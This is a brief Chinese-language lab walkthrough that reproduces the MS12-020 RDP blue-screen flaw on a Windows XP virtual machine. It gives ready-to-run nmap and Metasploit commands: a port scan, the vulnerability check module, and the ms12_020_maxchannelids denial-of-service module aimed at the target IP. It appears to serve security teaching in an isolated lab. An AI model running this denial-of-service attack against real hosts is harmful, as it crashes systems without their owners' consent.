利用msfvenon复现MS12-020蓝屏漏洞
漏洞介绍
MS12-020全称Microsoft Windows远程桌面协议RDP远程代码执行漏洞。 远程桌面协议是一个多通道的协议，让用户连上提供微软终端机服务的电脑。Windows在处理某些对象时存在错误，可通过特制的RDP报文访问未初始化的或已经删除的对象，导致任意代码执行，然后控制系统。
虚拟机准备
攻击机：kali 靶机：winXP 192.168.31.141
漏洞利用条件
开启3389端口 未安装ms012-020补丁 未开启防火墙 攻击机和目标机在同一局域网下
实验过程
使用工具namp扫描是否开启3389端口
nmap -sS 192.168.31.141
使用命令msfconsole开启metasploit
搜索可利用模块
search ms12-020
使用模块二 验证靶机是否存在漏洞
use auxiliary/scanner/rdp/ms12_020_check set RHOST 192.168.31.141 run
The target is vulnerable 证明有此漏洞，接着使用第一个模块对靶机发起攻击
使用模块一 发起攻击
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids set RHOST 192.168.31.141 run
